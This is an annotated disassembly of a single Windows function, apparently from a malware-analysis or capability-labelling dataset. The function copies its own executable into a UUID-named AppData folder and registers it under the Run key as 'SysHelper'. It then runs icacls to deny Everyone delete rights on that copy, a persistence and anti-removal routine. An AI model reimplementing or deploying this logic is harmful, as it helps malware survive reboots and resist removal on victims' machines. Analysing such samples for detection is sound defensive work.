Function at 0x411cd0
Capabilities:
Accept command line arguments
Check if file exists
Copy file
Create directory
Create process on windows
Delete file
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4cac68
push eax
mov eax, 0x30e8
mov dword fs:[0], esp
call fcn.0042f7c0
push esi
push edi
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push SysReAllocString
mov edi, edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x412207
push 0x7fe
push eax
mov word [ebp - 0x18f4], ax
lea eax, [ebp - 0x18f2]
push eax
mov dword [ebp - 0x20], 1
call fcn.0042b420
add esp, 0xc
mov dword [ebp - 0x3c], 0x400
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x18f4]
push eax
lea eax, [ebp - 0x20]
push eax
push 0
push str.SysHelper
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x28], 0
mov word [ebp - 0x38], ax
cmp word [ebp - 0x18f4], ax
jne 0x411d93
xor ecx, ecx
jmp 0x411daf
lea ecx, [ebp - 0x18f4]
lea edx, [ecx + 2]
lea esp, [esp]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x411da0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x18f4]
push eax
lea ecx, [ebp - 0x38]
call fcn.00415c10
mov dword [ebp - 4], 0
mov esi, dword [ebp - 0x28]
test esi, esi
je 0x411e7c
push str.____AutoStart
call dword [sym.imp.KERNEL32.dll_lstrlenA]
sub esi, eax
lea ecx, [ebp - 0x38]
dec esi
lea eax, [ebp - 0x88]
push esi
push 1
push eax
call fcn.00413520
mov esi, eax
lea eax, [ebp - 0x38]
cmp eax, esi
je 0x411e28
cmp dword [ebp - 0x24], 8
jb 0x411e0b
push dword [ebp - 0x38]
call fcn.00422587
add esp, 4
xor eax, eax
mov dword [ebp - 0x24], 7
push esi
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x28], 0
mov word [ebp - 0x38], ax
call fcn.004145a0
cmp dword [ebp - 0x74], 8
jb 0x411e3c
push dword [ebp - 0x88]
call fcn.00422587
add esp, 4
cmp dword [ebp - 0x24], 8
lea eax, [ebp - 0x38]
cmovae eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x411e7c
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x411e6a
lea eax, [ebp - 0x38]
cmp ecx, eax
je 0x411e6a
push 0xffffffffffffffff
push 0
push eax
call fcn.00414690
cmp dword [ebp - 0x24], 8
jb 0x412207
push dword [ebp - 0x38]
jmp 0x4121ff
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x24], 8
jb 0x411e94
push dword [ebp - 0x38]
call fcn.00422587
add esp, 4
push str.Shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.SHGetFolderPathW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov dword [ebp - 0x58], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [ebp - 0x58]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push dword [eax]
lea eax, [ebp - 0x20f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x20f4]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x8f4]
push eax
push 0
push 0
push 0x1c
push 0
call esi
lea eax, [ebp - 0xa8]
push eax
call dword [sym.imp.RPCRT4.dll_UuidCreate]
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
lea eax, [ebp - 0xa8]
push eax
call dword [sym.imp.RPCRT4.dll_UuidToStringW]
mov edx, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x5c], 7
mov dword [ebp - 0x60], 0
mov word [ebp - 0x70], ax
cmp word [edx], ax
jne 0x411f3a
xor ecx, ecx
jmp 0x411f4f
mov ecx, edx
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x411f40
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x70]
call fcn.00415c10
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 1
push eax
call dword [sym.imp.RPCRT4.dll_RpcStringFreeW]
cmp dword [ebp - 0x5c], 8
lea eax, [ebp - 0x70]
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
cmovae eax, dword [ebp - 0x70]
push eax
lea eax, [ebp - 0x8f4]
push eax
call esi
push 0
lea eax, [ebp - 0x8f4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test edi, edi
je 0x411fce
cmp word [ebp - 0x8f4], 0
jne 0x411fa6
xor ecx, ecx
jmp 0x411fbf
lea ecx, [ebp - 0x8f4]
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x411fb0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x8f4]
mov ecx, edi
push eax
call fcn.00415c10
xor eax, eax
mov dword [ebp - 0x40], 7
mov dword [ebp - 0x44], 0
mov word [ebp - 0x54], ax
cmp word [ebp - 0x8f4], ax
jne 0x411fef
xor ecx, ecx
jmp 0x41200f
lea ecx, [ebp - 0x8f4]
lea edx, [ecx + 2]
jmp 0x412000
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x412000
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x8f4]
push eax
lea ecx, [ebp - 0x54]
call fcn.00415c10
mov byte [ebp - 4], 2
lea eax, [ebp - 0x8f4]
push dword [ebp - 0x20]
push eax
call esi
lea eax, [ebp - 0x8f4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [ebp - 0x8f4]
push eax
lea eax, [ebp - 0x20f4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4121d1
push 0x7fe
push eax
mov word [ebp - 0x10f4], ax
lea eax, [ebp - 0x10f2]
push eax
call fcn.0042b420
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x10f4]
add esp, 0xc
push 0x5002fc
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x8f4]
push eax
lea eax, [ebp - 0x10f4]
push eax
call esi
push 0x500300
lea eax, [ebp - 0x10f4]
push eax
call esi
lea eax, [ebp - 0x10f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
lea eax, [ebp - 0x10f4]
push eax
push 2
push 0
push str.SysHelper
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x412115
lea eax, [ebp - 0x8f4]
push eax
call fcn.00413260
push 0x44
lea eax, [ebp - 0xf4]
push 0
push eax
call fcn.0042b420
add esp, 0xc
mov dword [ebp - 0xf4], 0x44
xor eax, eax
mov dword [ebp - 0xc8], 1
mov word [ebp - 0xc4], ax
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.icacls__
lea eax, [ebp - 0x30f4]
push eax
call edi
cmp dword [ebp - 0x40], 8
lea eax, [ebp - 0x54]
cmovae eax, dword [ebp - 0x54]
push eax
lea eax, [ebp - 0x30f4]
push eax
call esi
push str.___deny_S_1_1_0:_OI__CI__DE_DC_
lea eax, [ebp - 0x30f4]
push eax
call esi
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0xf4]
push eax
push 0
push 0
push 0x48
push 0
push 0
push 0
lea eax, [ebp - 0x30f4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4121b2
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4121d1
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x4121c0
push 1
push dword [ebp - 0x98]
call esi
cmp eax, 0x102
je 0x4121c0
cmp dword [ebp - 0x40], 8
jb 0x4121e2
push dword [ebp - 0x54]
call fcn.00422587
add esp, 4
xor eax, eax
mov dword [ebp - 0x40], 7
cmp dword [ebp - 0x5c], 8
mov dword [ebp - 0x44], 0
mov word [ebp - 0x54], ax
jb 0x412207
push dword [ebp - 0x70]
call fcn.00422587
add esp, 4
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret